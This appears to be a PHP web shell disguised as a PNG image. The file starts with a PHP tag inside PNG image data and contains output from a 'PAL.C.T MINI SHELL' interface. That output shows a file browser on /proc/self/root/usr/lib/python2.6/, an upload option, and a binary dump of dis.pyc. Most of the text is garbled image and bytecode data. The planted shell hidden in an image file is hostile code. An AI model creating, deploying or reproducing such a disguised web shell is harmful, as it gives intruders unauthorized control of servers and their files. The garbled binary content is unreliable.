php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/lib/python2.6/
upload
files >> //proc/self/root/usr/lib/python2.6/dis.pyc

Lc	@sdZddkZddkZddkTddklZddddgeZ[eieieiei	e
fZdd	Z
dd
ZddZdddddZeZd
ZdZdZedjoendS(s0Disassembler of Python byte code into mnemonics.iN(t*(t__all__tdistdisassembletdistbtdiscocCs]|djotdSt|tijo
|i}nt|do
|i}nt|do
|i}nt|do|i	i
}|ix|D]Y\}}t|t
o=d|GHyt|Wntj
o}dG|GHnXHqqWnSt|dot|n5t|tot|ntdt|idS(	snDisassemble classes, methods, functions, or code.

    With no argument, disassemble the last traceback.

    Ntim_funct	func_codet__dict__sDisassembly of %s:sSorry:tco_codes(don't know how to disassemble %s objects(tNoneRttypettypestInstanceTypet	__class__thasattrRRRtitemstsortt
isinstancet
_have_codeRt	TypeErrorRtstrtdisassemble_stringt__name__(txRtnametx1tmsg((s/usr/lib/python2.6/dis.pyRs8




	
cCsr|djoKy
ti}Wntj
otdnXx|io
|i}q<Wnt|ii|i	dS(s2Disassemble a traceback (default: last traceback).s no last traceback to disassembleN(
R
tsystlast_tracebacktAttributeErrortRuntimeErrorttb_nextRttb_frametf_codettb_lasti(ttb((s/usr/lib/python2.6/dis.pyR2s


cCs}|i}t|}tt|}t|}d}d}d}x1||jo#||}	t|	}
||jo"|djoHnd||GndG||jodGndG||jodGndGt|idGt	|
i
dG|d	}|
tjoht||t||d	d
|}d}|d}|
tjo|d}nt|id
G|
t
jodt|i|dGqs|
tjod|i|dGqs|
tjodt||dGqs|
tjod|i|dGqs|
tjodt|dGqs|
tjo5|djo|i|i}nd||dGqsnHqHWdS(sDisassemble a code object.is%3ds   s-->s>>s  iiiiilit(t)s(to N(R	t
findlabelstdicttfindlinestartstlenR
tordtreprtrjusttopnametljustt
HAVE_ARGUMENTtEXTENDED_ARGthasconstt	co_conststhasnametco_namesthasjrelthaslocaltco_varnamest
hascomparetcmp_opthasfreetco_cellvarstco_freevars(tcotlastitcodetlabelst
linestartstntitextended_argtfreetctoptoparg((s/usr/lib/python2.6/dis.pyR<s^	







*








cCst|}t|}d}x||jo||}t|}	||jodGndG||jodGndGt|idGt|	idG|d}|	tjo7t||t||dd	}
|d
}t|
idG|	tjo-|odt||
d
Gqd|
Gq|	t	jo-|dj	od||
d
Gqd|
Gq|	tjodt||
d
Gq|	tjo'|od||
d
Gqd|
Gq|	t
jodt|
d
GqnHq!WdS(Nis-->s   s>>s  iiiiiiR%R&s(%d)s(to (R'R*R+R,R-R.R/R0R2R4R
R6R7R9R:(R@R?tvarnamestnamest	constantsRARCRDRGRHRI((s/usr/lib/python2.6/dis.pyRmsJ





&






cCsg}t|}d}x||jo||}t|}|d}|tjot||t||dd}|d}d}|tjo||}n|tjo
|}n|djo"||jo|i|qqqqW|S(s`Detect all offsets in a byte code which are jump targets.

    Return the list of offsets.

    iiiii(R*R+R0R6thasjabstappend(R@RARCRDRGRHRItlabel((s/usr/lib/python2.6/dis.pyR's(



&





ccsg}|idddD]}|t|q~}g}|idddD]}|t|qR~}d}|i}d}x^t||D]M\}	}
|	o0||jo||fV|}n||	7}n||
7}qW||jo||fVndS(sFind the offsets in a byte code which are start of lines in the source.

    Generate pairs (offset, lineno) as described in Python/compile.c.

    iNii(t	co_lnotabR+R
tco_firstlinenotzip(R@t_[1]RGtbyte_incrementst_[2]tline_incrementst
lastlinenotlinenotaddrt	byte_incrt	line_incr((s/usr/lib/python2.6/dis.pyR)s77	


cCstido_tido!tiidtidntid}|p
|djo
d}qsnd}|djo
ti}n
t|}|i}|dj	o|i	nd}t
||d}t|dS(s*Simple test program to disassemble a file.iisusage: python dis.py [-|file]
t-s<stdin>texecN(RtargvtstderrtwritetexitR
tstdintopentreadtclosetcompileR(tfntftsourceR@((s/usr/lib/python2.6/dis.pyt_tests"



t__main__(t__doc__RRtopcodeRt_opcodes_allt
MethodTypetFunctionTypetCodeTypet	ClassTypeRRR
RRRRRR'R)RjR(((s/usr/lib/python2.6/dis.pyt<module>s&
#
1	'			

y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`